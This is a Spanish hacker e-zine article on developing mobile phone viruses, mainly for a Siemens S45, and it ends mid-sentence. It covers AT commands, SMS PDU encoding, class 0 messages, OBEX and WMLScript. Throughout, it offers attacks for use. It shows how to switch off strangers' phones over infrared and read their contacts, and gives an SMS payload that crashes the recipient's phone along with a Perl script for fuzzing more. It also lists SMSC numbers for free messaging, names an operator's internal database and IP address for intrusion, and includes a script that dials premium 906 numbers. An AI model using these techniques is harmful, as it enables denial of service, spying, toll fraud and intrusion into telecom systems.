-[ 0x05 ]------------------------------------------------------------------- -[ Virus en telefonos moviles ]--------------------------------------------- -[ FCA00000 ]-------------------------------------------------------SET-27-- NOTAS INICIALES Este articulo ha sido escrito con la mejor de las intenciones de ensenyanza. Si alguien usa esta informacion para propositos malvados o ilegales yo no lo puedo controlar, asi que no puedo ser responsable. Todo derecho genera una obligacion, y a la inversa. Tienes derecho a usar esta informacion, pero adquieres la obligacion de usarla correctamente. Yo tengo la obligacion de incluir estas lineas si quiero usar el derecho de evitar cualquier problema. INTRODUCCION Desde el tiempo en que se inventaron los primeros telefonos moviles hasta ahora las prestaciones de estos aparatos han mejorado considerablemente. De las pantallas de 2 lineas en modo texto se ha evolucionado hasta displays graficos, sonido de calidad MP3, programacion con WAP, redes GPRS, conexion por infrarrojos, y muchos mas inventos que seguro llegaran. Y la comunidad de interesados en estos temas (tambien llamados hackers) he ido centrando su atencion en estos dispositivos. En primer lugar de la escala estan los usuarios que se limitan a usar los moviles para llamar, como debe ser. Luego estan los que intentan sacarle un poco mas de provecho, comunmente aprovechando la posibilidad de conectarlo a un ordenador para utilizarlo como modem, carga de juegos, o sincronizacion de la libreta de direcciones. Por ultimo estan los que, movidos por otras inquietudes, desean aprender mas. Si tu estas entre estos ultimos, este articulo puede servirte de inicio, darte algunas ideas, o, quien sabe, proporcionarte todo lo que quieres saber. El objetivo que me marco es averiguar la posibilidad de desarrollar un virus que funcione en un movil. A lo largo del texto se ha intentado usar la palabra correcta 'movil' en lugar del termino incorrecto 'mobil'. Si alguna vez se me ha escapado, pido disculpas. PRIMEROS PASOS Material: un ordenador, un movil, una conexion entre ambos. Para mis pruebas he usado un Siemens S45, que es un buen telefono y que incluye un buen manual con un monton de instrucciones tecnicas. Puedes ver sus especificaciones en www.my-siemens.com El manual se llama GPRS_AT_CommandSet.pdf Dado que su fabricante es aleman, no es sorprendente que el mercado al que esta dirigido esta centrado en Alemania, y mucha documentacion esta en este idioma. Ademas, parte de las aplicaciones han sido desarrolladas por autores centroeuropeos, por lo que estan tambien en aleman. Yo lo he conectado con un ordenador potratil a traves del cable serie que trae incluido. Tambien se puede conectar por infrarrojos, pero la conexion es mas lenta. Mediante el cable se consiguen velocidades de 115200 bps, pero el movil esta configurado inicialmente para 57600 bps. Arrancando el Hyperteminal de Windows o cualquier otro emulador de terminal, ya empezamos con los primeros comandos: ( cuando indico '>' es algo que yo tecleo, mientras que '<' es la respuesta) > AT < OK perfecto, la conexion con el movil funciona > AT+CGMI < SIEMENS > AT+CGMM < S45 Este movil tiene el Sistema Operativo en Firmware que es actualizable. Veamos cual version estoy usando: > AT+CGMR < 21 Originariamente el telefono tenia la 17, pero habia un bug, asi que tuve que instalar otra version. A estas alturas deben ir ya por la version 23 > AT+GMM < Gipsy Soft Protocolstack Tambien podemos obtener El ID de la tarjeta (AT+SCID), el famoso IMEI (AT+CGSN) que es el numero de serie, el IMSI (AT+CIMI), pero estos numeros son exclusivos para mi telefono, asi que no os los voy a mostrar. Por cierto, veamos que hora es: > AT+CCLK? < +CCLK: "03/02/26,12:46:18" Solo le falta decir que, ademas, es domingo Comandos AT Como habeis podido comprobar, la manera de comunicarse con un movil es, al igual que con un modem, con comandos AT Existen de varios tipos: -basico AT compatible Hayes comandos que funcionan con cualquier modem: ATDPxxx, ATH, ATI, ... -GSM 07.07 comandos definidos por la ETSI GSM 07.07, por ejemplo AT+CCLK, AT+CEER Se agrupan en: -Control del movil -Servicio de red -Comando de modem -Control de llamada -GPRS -General -TIA IS101 -Mensajes -comandos de la ITU-R V.25 La mayoria estan orientados a la transmision de tipo FAX -especificos de Siemens Extienden la funcionalidad de los tipos definidos anteriormente, o bien hacen cosas para las que no hay estandar definido. Suelen ser AT^xxx en vez de AT+yyy . Por ejemplo, AT^SMSO apaga el movil Ademas, segun las normas GSM, los comandos AT+Cxxx tienen varias formas: AT+Cxxx=? devuelve los parametros que acepta este comando AT+Cxxx? muestra el resultado del comando AT+Cxxx=... escribe los parametros AT+Cxxx ejecuta el comando, segun los parametros establecidos Y, aunque parezca que no tenemos mucho donde trabajar, ya podemos crear algo que se parezca a un virus. Como he indicado, este movil tiene un puerto de infrarrojos. Por defecto no esta activado porque gasta mas bateria, pero he observado que tal como los vende configurados el operador de telefonia AMENA, esta activado. Asi que conseguimos un ordenador portatil; apuntamos el puerto infrarrojos hacia el movil de la victima, arrancamos el hiperterminal y usamos la conexion al puerto de infrarrojos. Si todo ha ido bien, al teclear AT obtendremos la respuesta OK y haciendo AT^SMSO le apagamos el movil. Hala, uno menos. Posibles mejoras a este metodo incluyen: -En vez de usar un portatil, hacerlo con otro dispositivo, tal como un 'wearable-computer' o un PDA que tenga emulacion de modem sobre el puerto infrarrojos. Es mas discreto. -Esconder el ordenador, sacar el lector/emisor de infrarrojos de la carcasa y disimularlo en el reloj o la corbata. De pelicula. -Hacer un lector/emisor de infrarrojos mas potente. De todos es sabido que el alcance del puerto integrado en un ordenador no es muy lejos, pero hay disenios que permiten emitir hasta 15 metros! Imaginate ponerse en la terraza de un bar e ir apagando los moviles que se pongan a tu alcance. Busca por Internet. -Apagar el movil es util para que no te molesten, pero tambien se puede obtener la lista de telefonos a los que ha llamado, libreta de direcciones, mensajes recibidos, tareas pendientes... ideal para un espia. -Aun mas util puede ser obtener su IMEI para luego intentar mas cosas. MENSAJES Un SMS es un medio para transferir mensajes cortos entre una estacion movil (MS) y una entidad de mensajes cortos (SME) a traves de un centro de servicio (SC). El centro de servicio actua como enlace y distribuidor entre en MS y el SME. Existen 2 tipo de servicios: - SM MO = Mensaje corto originado en el movil - SM MT = Mensaje corto terminado en el movil La manera de mandarlos es, por supuesto, con comandos AT : > AT+CMGL=1 < +CMGL: 2,1,,148 < 07914.... < +CMGL: 3,1,,63 < 07914306090909F9040... ?Pero que es esto? ?Donde estan mis mensajes? Vamos por partes. > AT+CMGL=? < +CMGL: (0-4) o sea, que el comando CMGL admite valores 0-4 segun quieras leer los mensajes 0 = recibidos sin leer 1 = leidos 2 = almacenados 3 = enviados 4 = todos Asi que con AT+CMGL=1 leemos los mensajes recibidos y que ya hemos leido. Para verlos todos, hacer AT+CMGL a lo que responde con varias lineas: +CMGL: 2,1,,148 O sea, que el mensaje 2 tiene estatus 1 (recibido y leido) , que el emisor esta en blanco, y que la longitud es 148 bytes La siguiente linea esta formada por un monton de caracteres 0-9A-F, que miden 148 bytes, pero parece que estan codificados. Modo PDU Los mensajes se guardan en la memoria del movil, o bien en la tarjeta SIM que lleva incluida. Estos mensajes usan una codificacion que no es la misma que usa un PC, por lo que pueden contener codigos no mostrables en un ordenador. Activando el modo PDU con El comando > AT+CMGF=? < +CMGF: (0) Nos indica que este movil solo soporta PDU=0, es decir, que todos los mensajes usan esta codificacion, por lo que para que puedan ser entendidos por un humano, necesitan ser descodificados. En otros moviles, haciendo AT+CMGF=1 ya se pueden listar correctamente los mensajes, pero los caracteres no siempre salen bien, por ejemplo los acentos. Por eso el PDU=0 es lo mejor. Con AT+CSCS="UCS2" se especifica el conjunto de caracteres UCS2 que se usaran en el cuerpo del mensaje. Por defecto es "GSM", y en otros moviles, tambien se puede usar "HEX". Hay 2 tipos de mensajes PDU : SMS-SUBMIT tiene el movil como destino SMS-DELIVER tiene el movil como origen ambos constan de los siguientes datos: Elemen Campo Referencia Representacion Descripcion SCA Centro de servicio 1-12 octetos Direccion del SC SCA length Longitud de direccion 1 octeto (entero) Longitud, en bytes SCA tosca Tipo de SCA 1 octeto tipo de numero de telef. SCA address campo SCA 2-10 octetos direccion de origen-fin FO primer octeto 1 octeto primero octeto SMS-PDU FO MTI indicador tipo mensaje 2 bits tipo de mensaje FO RD rechaza duplicados 1 bit rechaza SMS con dupl. DA FO MMS mas SMS por mandar 1 bit indica si quedan SMS FO VPF contiene validez 2 bits campo validez presente? FO RP contiene retorno 1 bit camino retorno presente? FO UDHI cabecera usuario? 1 bit cabecera presente? FO SRR peticion status 1 bit solicita status envio-MS FO SRI peticion status? 1 bit solicita status envio-SME MR referencia mensaje 1 octeto numero de referencia OA direccion origen 2-12 octetos direccion origen SMS OA length longitud del OA 1 octeto numero de digitos en OA OA toda tipo de OA 1 octeto tipo de numero DA direccion destino 2-12 octetos direccion del SME DA length longitud del DA 1 octeto numero de digitos en DA DA toda tipo de DA 1 octeto tipo de numero PID identificador protocolo 1 octeto protocolo superior DCS esquema de codif.datos 1 octeto esquema usado en UD SCTS hora en SMSC 7 octetos cuando se recibe mensaje? UDL longitud UD 1 octeto longitud del mensaje UD UDH cabecera (con UDHI) 0-140 octetos datos UD datos de usuario 0-140 octetos datos (0-160 caracteres) Un SMS-DELIVER (mensaje recibido) tiene SCA FO OA PID DCS SCTS UDL UD Un SMS-SUBMIT-PDU (mensaje a enviar) tiene SCA FO MR DA PID DCS VP UDL UD En la pagina www.nobi.com/sms_pdu.htm se explica muy bien lo que es el PDU, asi que yo solo comentare que para mensajes enviados hay una cabecera con el emisor, numero del centro de servicio, tipo de codificacion, bits usados por cada dato, la validez, y algo mas que revisaremos luego. Para mensajes recibidos la informacion consiste en centro de mensajes, tipo de mensaje, camino de vuelta, emisor, protocolo usado, clase de mensaje, alfabeto usado, fecha de envio, y cuerpo del mensaje. Entre los campos a destacar, MTI se forma con 2 bits: 0 0 SMS-DELIVER , cuando va SC->MS 0 0 SMS-DELIVER REPORT cuando va MS->SC 1 0 SMS-STATUS-REPORT cuando va SC->MS 1 0 SMS-COMMAND cuando va MS->SC 0 1 SMS-SUBMIT , cuando va MS->SC 0 1 SMS-SUBMIT-REPORT cuando va SC->MS 1 1 Reservado Luego viene el mensaje que, si la codificacion es de 7 bits por dato, resulta muy graciosa de entender, pues consiste en partir los datos (de 7 bits) en bits, y agruparlos de 8 en 8. Pero no como uno puede esperar, sino por bloques de 7-n . Lo mejor es que consultes la pagina mencionada o las recomendaciones GSM 03.38 Los mensajes que se envian tienen solo la mitad de esta informacion. Por ejemplo, el numero del telefono que envia el mensaje no se manda, sino que es la operadora de telefonia la que lo agrega. Los datos que se mandan son: numero secuencial, numero del receptor, esquema de codificacion de datos, validez, y mensaje. Y ahora viene el primer briconsejo. Una de las cosas que un virus tiene que hacer es enmascarase a si mismo. Por eso lo mejor es usar uno de los multiples programas y paginas web que han dispuesto las operadoras de telefonia para poder mandar mensajes sin usar un movil. No tienen toda la funcionalidad disponible en el movil (mandar graficos, por ejemplo), pero puede ser suficiente. Hay en la cabecera un dato llamado TP-DCS que es muy interesante. Si la codificacion es de 7 bits, solo se pueden enviar 128 caracteres que quedes consultar en www.dreamfabric.com/sms/default_alphabet.html Es necesario hacer notar que la codificacion no coincide con la ISO-8859-1 por lo que los caracteres usan codigos distintos para los SMS y para un ordenador. Por ejemplo, en un movil el caracter '@' tiene el codigo 0x00, mientras que en lenguage C, el caracter 0x00 indica fin de linea, y en ASCII 0x00 significa null. Tambien se usan secuencias de escape, usando el caracter 27d = 0x1B Por ejemplo, el caracter '[' se codifica como ESC+60 , es decir, 0x1B3C. Al parecer, solo hay implementadas 10 codigos que usen secuencias de escape, pero intentaremos jugar con ellas, pues pueden ser un terreno adecuado para el envio de mensajes maliciosos, lo cual constituye un primer paso para la creacion de un virus. Para ello, contamos con un magnifico programa llamado PDUSpy que permite leer exactamente la informacion contenida en un mensaje, y tambien componer mensajes con muchas opciones, y ver la secuencia de datos que lo componen. Vamos con un mensaje simple. Usando texto de 7 bits, el mensaje '[@@@' se compone de los caracteres 0x1B3C, 0x00, 0x00 y 0x00. Para codificarlo, recordar que solo se usan 7 bits por caracter: 1B = 0011011 3C = 0111100 usando 7 bits, 1B3C = 00110110111100 partiendolo en trozos de 8 bits a la manera PDU, resulta 0011011 0011110, es decir, 1B 1E Y da lugar a un mensaje que ocupa 05 caracteres. Uniendolo a la cabecera, da lugar a 00 01 00 00 81 00 00 05 1B 1E 00 00 00 Creo que esta claro, no? TEXTO DEL SMS Vamos a jugar un poco. Si ponemos la secuencia 1B00 , el movil muestra el mensaje '@', es decir, que al no ser una secuencia de escape adecuada, se olvida del 1B Como 1B es simplemente un enlace a otra tabla, vemos que en la tabla secundaria tambien se puede usar 1B para enlazar con otra tercera tabla, asi que probamos a poner 2 veces el caracter ESCAPE, es decir, "[[@@@" con el mensaje 00 01 00 00 81 00 00 05 9B 0D 00 00 00 al verlo en el movil, el mensaje se ha convertido en " @" , o sea, que ha puesto un espacio en lugar de los dos ESCAPEs. Esta manera de mandar mensajes con 7 bits es un poco complicada, asi que a partir de ahora usamos codigos de 8 bits, a ver que pasa El mensaje con este texto hexadecimal: 414243444546 se ve en el telefono como "ABCDEF" , como debe ser segun el documento GSM 03.38 El mensaje 000102030405060708090a0b0c0d0e0f resulta ser "@L$Yeeuioc" (NOTA.- para cumplir con los requerimientos de texto ASCII de esta publicacion, se han intentado usar caracteres puros ASCII. En realidad las vocales del mensaje contienen acentos, la 'L' es el simbolo de Libra inglesa, ...) El mensaje 101112131415161718 es "ABCDEFGHI" con caracteres griegos Algo muy interesante es que el movil cuando muestra la lista de todos los mensajes solo ensenia los primeros caracteres. Cuando se ve todo el texto de este mensaje, resulta que los caracteres !han desaparecido! . Y cuando elegimos editar el mensaje, han sido sustituidas todas las letras griegas por el caracter '.' lo cua indica que puede mostrarlas en la lista, pero no en el mensaje completo. O sea, que no siempre muestra las mismas letras cuando saca la lista, cuando muestra el mensaje, y cuando se edita. Algo no funciona coherentemente en este telefono! El mensaje 5a6a7a se muestra como "Zjz", como debe ser. Al parecer solo los caracteres puramente ASCII funcionan correctamente. Otra prueba sorprendente: el mensaje 404142 se ve en la lista como "!AB" pero al verlo completo se ha convertido en "@AB" , y al editarlo tambien es "@AB" Hmmm, eso quiere decir que el movil de alguna manera procesa los mensajes cuando los visualiza, pero no cuando los muestra en la lista. El concepto es parecido al del bug de interpretacion de argumentos que se realiza en un ordenador, por ejemplo al usar en lenguaje C la funcion printf con parametro %s . Vamos a investigar mas. Especificamos alfabeto de 16 bits UCS2 que se supone que admite ISO-10646 Mandamos el mensaje 0068006F006C0061 y aparece "hola" . Todo perfecto. Mandamos e0fe y aparecce el dibujo de una flecha. Mandamos e0e0 y aparece en la lista la cara de un pato! Yo sabia que el movil admitia dibujitos, pero esto es demasiado. No solo eso, sino que al ver el mensaje aparece la cara completa - antes aparecia cortada. Y lo mas sorprendente es que al editar el mensaje !se apaga el movil! El mensaje ee72ee8a se muestra en la lista como "." y cuando vamos a verlo, apaga el movil. Parece que hemos encontrado un modo de provocar un DoS. Solo hay que mandar este mensaje, y cuando el receptor lo vaya a ver, se le apagara el telefono. Interpretando los parametros del mensaje encontramos que USER DATA PART OF SM USER DATA LENGTH : 4 octets, 2 UCS2 chars USER DATA (TEXT) : EE 72 EE 8A Al parecer, eso de "Private Use" es debido a que no se usa ningun afabeto conocido, y el movil intenta mostrar un caracter que no tiene en su tabla, y provoca que busque un dato mas alla de la memoria disponible. Un tipico "System fault - core dumped" Por supuesto que puede borrarlo de la lista de mensajes. Asi que vamos a intentar que cuando se muestre la lista, tambien se apague. Vamos con una lista de mensajes, y su resultado: E435 aparece el simbolo de nota musical, pero solo cuando se pone el cursor sobre el mensaje en la lista EE14E405 aparece el simbolo de un libro, y suena una pitido al verlo E0E0 cara de un pato E0A0 dibujo de una bomba 77E6EE65 reset al ver el mensaje EE0C0349 suena un pitido E008 texto en negrita E0f6 dibujo de un reloj grande que ocupa todo el display EA00 hace que se limpie la pantalla E405EA00E406 primero un dibujo de un libro+telefono y 2 segundos despues el dibujo de un pato+telefono Ciertamente este movil tiene caracteristicas sorprendentes. EE13E405EE13E406 suena 2 veces la musica, con borrado en medio E435 nota musical, pero solo cuando se marca el mensaje en la lista Parece evidente que los mensajes con los caracteres Exyz son interpretados de algun modo por el telefono. La documentacion del UCS2 dice que estos caracteres no estan definidos en ningun conjunto, y son de 'Private Use', razon por la cual SIEMENS los ha elegido para si misma. Este es el punto donde entramos realmente en caracteristicas del movil. Mensajes conteniendo estos codigos no seran reconocidos por ningun otro fabricante, y posiblemente, tampoco funcionen en otros modelos. Incluso es posible que no funcionen en otras versiones del software. PRIMER INTENTO Siguiendo con la investigacion, una de las posibilidades para encontrar todos los caracteres es destripar la memoria del movil. Para ello hace falta un programa y un cable especial para volcar el firmware a un archivo de texto. El primer paso es encontrar el programa SM45Tools.exe y ejecutarlo. Para que funcione se necesita conectar el movil con un cable especial. El que viene incluido con el movil no vale para esto, pero simplemente hay que coger el cable de alimentacion y el de datos, unir las patillas 1 y 3 de ambos conectores, y ya esta. Luego hay que apagar el movil y pulsar brevemente la tecla de encendido. Estas instrucciones las he encontrado en Internet, y es posible que para otros modelos tambien funcione. Una vez que se tiene el volcado de la memoria hay que intentar averigua lo que significa. Lamentablemente yo no he conseguido averiguar nada en ese monton de bytes. Quizas sea tambien posible desensamblar el codigo, pero no tengo suficiente informacion para ello. SEGUNDO INTENTO Otra posibilidad es que alguien de Siemens me proporcione esa informacion. Seguro que alguien ya esta pensando en hackear su website, entrar en su oficinas por la noche, o usar ingenieria social. Pero es bueno ir despacio. Se empieza por escribir a info@siemens.de , y tras muchos mensajes inutiles, acabas contactando con alguien que te da unas cuantas ideas o exactamente lo que quieres. Mi agradecimiento total a Thierry Schuch del departamento de desarrollo de software de servicio de datos para dispositivos moviles dentro de Siemens AG, calle Grillparzerstrasse 12a D-81675 Munich que , aunque me hizo firmar un documento diciendo que no haria publica esa informacion y me obligo a incluir todo este parrafo, al final me dijo todo lo que yo queria saber. Asi que la respuesta es SI. Hay un mensaje (muchos, en realidad) que contienen caracteres especiales que no han sido verificados correctamente y al aparecer en la lista de mensajes hacen que el telefono no calcule correctamente la longitud, y se apaga. Por supuesto, no voy a decir aqui cual es la secuencia correcta. Si lo hiciera te estaria convirtiendo en un script-kiddie, y los lectores de esta publicacion no lo son, cierto? Seguramente en la siguiente version del software estos caracteres esten ya arreglados. A proposito de esto tengo que mencionar que si se intenta enviar un mensaje con el caracter '%' el movil se apaga, y cuando se enciende otra vez, apenas dura encendido 2 minutos. La solucion es borrar el mensaje de la memoria, usando otro movil. Esto es muy raro, ya que la propia documentacion de Siemens menciona que mensajes como %Kiss manda el dibujo de un beso: y %House manda el dibujo de una casa, y otros mas. De hecho cuando mando un mensaje conteniendo estos codigos, llegan a mi Siemens correctamente pero no aparece ningun dibujo. TERCER INTENTO Una tercera manera de intentar encontrar un mensaje maligno es crear un programa que genere todos las posibles letras (16*16*16*16) y mandar esos mensajes. Solo hay que grabarlos con el comando AT+CMGW y luego visualizarlos. Aqui el paso critico es que hay que visualizar los mensajes cuando estan en la lista; ya sabemos que al desplegar uno de ellos es posible apagar el telefono, pero la gracia esta en hacer que se apague solo con verlo en la lista. Tambien es posible que por el simple hecho de guardar el mensaje en la memoria del movil se forzase un apagado. Los mensajes que no he probado nunca han hecho esto, pero no descarto que en algun otro modelo suceda. El equivalente seria que un ordenador se colgara simplemente por existir un fichero con unos datos especiales. Puede ser. Ya sabemos que al intentar mandar mensaje con '%' se cuelga, aunque se pueden guadar sin problemas. Ya hemos visto antes que (posiblemente) el primer caracter sea 'E' asi que solo hay que crear 4096 mensajes. El comando AT+CMGD permite borrar los mensajes que no hacen fallar el telefono. Para los que programen en Perl, aqui va un ejemplo use Device::SerialPort; my $ob = Device::SerialPort->start( 'serial.cfg' ); $ob->are_match("OK", "ERROR", ">"); $ob->write( "AT+CPMS=SM\r" ); waitfor(5); $ob->write( "AT+CMGD=1\r" ); waitfor(5); $ob->write( "AT+CMGW=28\r" ); waitfor(5); $ob->write( "000100008100182400550048004500200042006900E000E000E000E0\cz" ); waitfor(5); Explicacion paso a paso: se abre el puerto serie, se selecciona la memoria del movil (no la del SIM ni la del terminal), se borra el mensaje que ocupe la posicion 1 , se selecciona para escribir en la primera posicion libre, y se mandan los bytes que componen el mensaje. Quizas sea bueno mandar AT+CMGF=0 para decir que los datos van en hexadecimal, pero en mi modelo no es necesario. Esto escribe un mensaje con varios UCS2 caracteres: E000 Haz que 000 se convierta en xyz , donde x=0-9A-F, y=0-9A-F, z=0-9A-F, y ya tienes hecho el programa. CLASS 0 Aquellos que han conseguido leerse la documentacion del GSM 08.03 en el capitulo 4 se habran dado cuenta de que hay algo llamado DCS=Data-Coding-Scheme o "Clase del mensaje", y puede valer: 00 (7bits) o 04 (8bits) -> sin clase definida F0 (7bits) o F4 (8bits) -> 0 = Inmediato F1 (7bits) o F5 (8bits) -> 1 = Especifico del Mobile Equipment F2 (7bits) o F6 (8bits) -> 2 = Especifico del SIM F3 (7bits) o F7 (8bits) -> 3 = Especifico de Terminal Equipment En clase 1 y 3 el mensaje corto se guarda en el SIM y el TE. Si se usa clase 2 el mensaje se guarda en la tarjeta SIM y no se envia directamente al terminal. Los mensajes enviados con clase 0 se envian directamente al display del movil, y no se guardan en el telefono ni en la tarjeta SIM. En otras palabras, cuando se recibe un mensaje con clase 0 , este aparecera inmediatamente en la pantalla del movil. Este funcionamiento depende del modelo de movil, pero tanto los Siemens como Nokia como Mitsubishi muestran el mensaje. Si el telefono esta con el salvapantallas activo, el cuerpo del mensaje tambien aparece en el movil. O sea, siempre se muestra, y el usuario no puede evitar verlo. Este metodo es el usado por Movistar para enviar el saldo. Nosotros lo vamos a usar para enviar un mensaje que provoque una reaccion en el movil; algo parecido a enviar un archivo auto-ejecutable. Como he comentado antes, el mensaje EE72EE8A provoca que el movil se apague, pero solo cuando se visualiza el texto, no cuando aparece en la lista. De hecho, al enviarlo con clase 0 lo unico que aparece es "H.", donde 'H' es un dibujo de un libro, indicando clase 0, y '.' es justamente lo que aparece en la lista del mensajes para este mensaje. Asi que si conseguimos que se apague simplemente mostrando la lista, lo habremos conseguido. Esto es lo que se puede hacer en los telefonos Siemens 3568i con el programa smsdos V1.0 que se encuentra en http:\\www.benjurry.org , pero a mi no me funciona. En el modelo Siemens S35 con software v.14 los mensajes de clase 0 hacen que el movil no responda a las teclas, con lo que ni siquiera se puede apagar. La unica solucion es quitar la bateria, forzando un apagado totalment violento. Eso si, el mensaje desaparece. SMSC Por supuesto, para que la magia de los SMS funcione es necesario que hay un centro que reciba los mensajes y los encamine a su destinatario. Sin meterme en los detalles de localizacion fisica del movil, comento que en Centro de Servicio de Mensajes Cortos se llama SMSC, por sus siglas en ingles. Cada operador telefonico tiene, al menos, un SMSC, aunque algunos tienen varios para distribuir mejor el trafico. Es mas, algun operador bastante conocido no tiene ninguno, sino que usa el de otra compania. AMENA usa +34656000821 Telefonica usa +34609090909 , +34609090885, +34609090965, y cuando se envia mediante Internet usa +34609090890 ; cuando se mandan internamente +34609093900 Orange en Dinamarca usa +4526265151 Operadores en Alemania:Viag Interkom +491760000400 hasta +491760000499, y tambien +491710760000, +491722270000, +41794999000 y +41787777070. A1-Mobilkom +436640501, A3-Max.Mobil +43676021, D1-Telekom +491710760000 D2-Privat +491722270333 Estos numeros a lo mejor no son los habituales que suelen elegir los usuarios, pero hay muchas maneras de averiguar numeros alternativos. Por eso es posible cambiar el numero de SMSC para elegir otro. Esto se hace con el comando AT+CSMS Incluso Telenor, en Noruega, esconde su numero de SMSC, quizas para que la gente llame siempre al numero que ellos indican. Ya que estamos, comento que aquellos afortunados que trabajan en una operadora y tienen acceso a la red interna, pueden intentar localizar el servidor que contiene el software para conectarse al SMSC. Es posible que contenga algun interface para mandar mensajes internamente. Solo por mencionar algunos ejemplos, en la operadora Alemana O2 , si consigues acceso de escritura a la base de datos VDC01_O del ordenador DEAPVI06 solo tienes que crear un registro en el esquema VDC3KCT, tabla PDNOTIF Tambien existe un interface a traves de EJB, con protocolo t3 (Weblogic) en la direccion IP 10.120.60.97 puerto 7001 llamando al bean dev.viag.apps.EjbClientWrapper al metodo clientSendNotif() Ahora es tarea tuya adivinar la clave y parametros de llamada :-) De aqui la importancia de un buen scanner de direcciones y protocolos. Si todo esto te ha sonado a chino, bueno, no te preocupes. Posiblemente a ti, lector, te parece una imposible o inutil mandar mensajes gratis, pero para escribir este articulo yo he tenido que mandar aproximadamente unos 150 mensajes a mi movil, y no era cuestion de pagar 15 centimos por cada uno, si se puede hacer sin gastos extra. Esta es una lista de SMSC. Algunos de ellos permiten mandar mensajes sin coste: (lista obtenida de http://mario374.tripod.com/mariosnokiapage/id3.html ) +34607003110, 12, 13 +34607003140 +34607003160 +34607003190 +34607003320 +34607133000 +34609090402 +34609090413 +34609090800 hasta 19 +34609090840 +34609090870 hasta 79 +34609090885 +34609090890 +34609090907 +34609090909 +34609090998 +34609090999 +34609093401 +34609093402 +34609093411 +34609093412 +34609093900 hasta 9 +34609909909 +34656000311 +34656000811 OBEX Otro metodo de acceso a los datos movil es mediante el protocolo OBEX. Siguiento el modelo de capas OSI, sobre un soporte fisico (cable, infrarrojos) se establece una capa de mas alto nivel para intercambio de ficheros. Algo parecido a la transferencia FTP. Es posible meter ficheros en el telefono, leerlos, renombrarlos y borrarlos. Todo esto desde un ordenador. Hay muy buenas librerias para Linux, y, aunque podrian intentarse exploits centrados en el protocolo, tambien parece posible intentarlo en los datos que se mandan para hacer un buffer overflow. Hmm, suena interesante. Tambien es posible hacer algunas de estas operaciones desde otro movil, pero el movil de la victima debe estar en modo 'recepcion de ficheros', que es una accion manual, y no parece muy normal que el usuario este dispuesto a recibir nuestro virus voluntariamente. Sobre protocolo OBEX se encuentra mucha documentacion, asi que no voy a contar nada (quizas en otro articulo) WML Mi movil, los Nokia, y espero que todos los que salgan a partir de ahora tienen incorporado un mini-navegador que permite ver paginas en Internet. Tiene varias peculiaridades. Entre ellas, que no soporta paginas HTML sino WML, que se parece a HTML pero mucho mas sencillo. Por ejemplo, se permiten graficos, tablas y letras grandes y pequenias, pero no frames ni cambios de tipo de letras. Las tablas tienen formato muy limitado, y no se pueden incrustar paginas dentro de otras paginas. En lugar de JavaScript soporta WMLScript, que permite interactuar con los elementos que se ven en la pantalla. Tiene manipulacion de numeros, palabras y objetos de pantalla, asi como navegacion entre paginas. Todo ello usando las librerias Lang, Float, String, URL, WMLBrowser y Dialogs. Esta pensado para tener un servidor en Internet conectado con una central telefonica. El movil llama por CSD (llamada telefonica analogica) y se establece una conexion con protocolo WAP. Tambien se puede llamar por GPRS con lo cual es movil es un nuevo nodo de la red Internet, con su propia IP. En ambos casos, el servidor manda paginas WML que se procesan en el telefono. Una de las limitaciones es que los ficheros no pueden ser demasiado grandes. El los terminales Nokia el limite son 7Kb, y en el Siemens S45 es 1400 bytes lo cual no parece mucho, pero tampoco es cuestion de mandar paginas enormes, porque el display es bastante pequenio. Las paginas WML se guardan en la cache del telefono, pero el contenido de las variables se pierde cuando se acaba la conexion. Otros de los limites es la cantidad de variables que se pueden crear: 80 Y el mayor limite es que la carga de ficheros graficos y WMLScript es muy lenta, con lo que este protocolo es apropiado para tareas ligeras y con poco proceso WTAI Wireless Telephony Application Interface es una ampliacion del protocolo WAP para crear aplicaciones de telefonia. En la practica esto supone unas librerias que pueden -o no- estar disponibles en el telefono cuando se usa WML/WMLScript Se agrupan en -Librerias publicas : WTAPublic . (Obligatoria si se quiere certificacion WTAI) -Librerias de red: (No es obligatoria. Depende del fabricante) - Control de llamadas de voz: WTAVoiceCall - Texto de red: WTANetText - Libro de direcciones: WTAPhoneBook - Registro de llamadas: WTACallLog - Otras: WTAMisc La manera de acceder es parecida al tipico formato URL: wtai://libreria/funcion;parametros!resultado O desde WMLS: var resultado = libreria.funcion("parametros"); Por ejemplo, para saber cual es la duracion de la ultima llamada hacemos var duracion = WTACallLog.getFieldValue(handle, "duration"); Y todo esto desde un programa en WMLScript ! O sea, que se puede hacer algo asi como --------- begin prg1.wml -------------- --------- end prg1.wml -------------- --------- begin prg1.wmls -------------- extern function llama(x) { var flag = WTAPublic.makeCall("906090909"); } --------- end prg1.wmls -------------- Por supuesto, el usuario tiene que acceder con el movil a nuestra pagina http://servidor.dominio.es/prg1.wml Este es el viejo truco de una pagina web que cuando la visitas, ejecuta un programa que desconecta el modem y llama a un telefono 906 . Recuerdo al lector que las paginas WML se pueden transferir al movil para verlas en el navegador incorporado, y asi no se hace ningun gasto telefonico. O sea, que cuando veas que alguien ha hecho un programa en WML/WMLScript y te decidas a instalarlo en el movil, mejor te lo piensas 2 veces, ya que los programas en WML/WMLScript estan compilados, y no incluyen el codigo fuente, con lo que no puedes saber los autenticos propositos del programa. Cosa por otro lado normal, ya que WML/WMLScript es un lenguaje compilado, no se si lo he dicho antes, y no todo el mundo tiene un compilador de WML/WMLScript. Por otro lado, para todos estos moviles modernos que soportan Java y juegos, tengo que decir que J2ME tambien tiene la posibilidad de hacer llamadas automaticamente, aumentando la factura telefonica del usuario. Eso si, en cuanto se realiza la llamada el programa se detiene y finaliza. Tambien es posible mandar SMS usando Java MicroEdition. Ahora las malas noticias para esa gente que solo piensa en hacer cosas malas: 1- La funcion WTAPublic.makeCall pide confirmacion al usuario antes de realizar la llamada. Si no, seria una falta de seguridad grave, no crees? Sin embargo, WTAPublic.sendDTMF no pide permiso. Asi, es posible confundir al usuario indicando una llamada gratuita, y luego mandar tonos multifrecuencia para derivar la llamada. Para esto se necesita una centralita analogica y un poco de control sobre ella. Yo no lo he intentado pero me han comentado que seria posible hacerlo. 2- Hay un monton de funciones utiles en otras librerias: - aceptar y colgar una llamada - leer/escribir/borrar del libro de direcciones - averiguar y procesar llamadas recibidas/perdidas - saber duracion/numero/nombre de las llamadas Pero desafortunadamente no estan soportadas por este telefono. Ojala lo estuvieran; eso aumentaria las posibilidades de un control desde un programa ejecutandose en el propio telefono o desde web. Aunque tampoco seria del todo completo porque WTAI no deja modificar el calendario, alarmas ni libreta de notas. Una pena. Pero suponiendo que dispongas de un telefono que soporte el conjunto completo de instrucciones WTAI, se puede hacer una pagina web que, cuando el usuario se conecte, le cambie toda la libreta de direcciones y llame a un 906 tres veces sin cortar la 